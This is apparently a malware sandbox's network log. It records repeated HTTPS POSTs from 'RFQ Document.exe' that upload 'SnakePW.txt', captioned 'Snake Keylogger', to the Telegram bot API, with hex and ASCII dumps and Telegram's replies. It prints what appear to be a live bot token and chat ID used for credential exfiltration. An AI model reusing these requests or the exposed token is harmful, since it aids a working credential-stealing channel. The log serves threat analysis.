2021-09-28 05:58:35 UTC	96	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 36 65 62 35 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ca6eb568Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	96	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	97	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12642,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808715,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49837	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:35 UTC	97	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ca8b52f6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:35 UTC	97	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 38 62 35 32 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ca8b52f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	98	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	98	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12643,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808715,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49838	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:35 UTC	99	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255caa329fb Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:35 UTC	99	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 61 33 32 39 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255caa329fbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	99	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	100	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12644,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808715,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49839	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:35 UTC	100	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cac2278a Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:35 UTC	101	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 63 32 32 37 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cac2278aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	101	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	101	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12645,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808715,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49840	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:35 UTC	102	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cae1260c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:35 UTC	102	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 65 31 32 36 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cae1260cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	103	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	103	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12646,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808715,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49841	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	103	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cafdc418 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	104	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 66 64 63 34 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cafdc418Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:36 UTC	104	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	105	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12647,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49842	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	105	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb159961 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	105	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 31 35 39 39 36 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb159961Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:36 UTC	106	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:36 UTC	106	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12648,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808716,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49843	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:36 UTC	107	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cb2d737b Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:36 UTC	107	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 32 64 37 33 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cb2d737bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
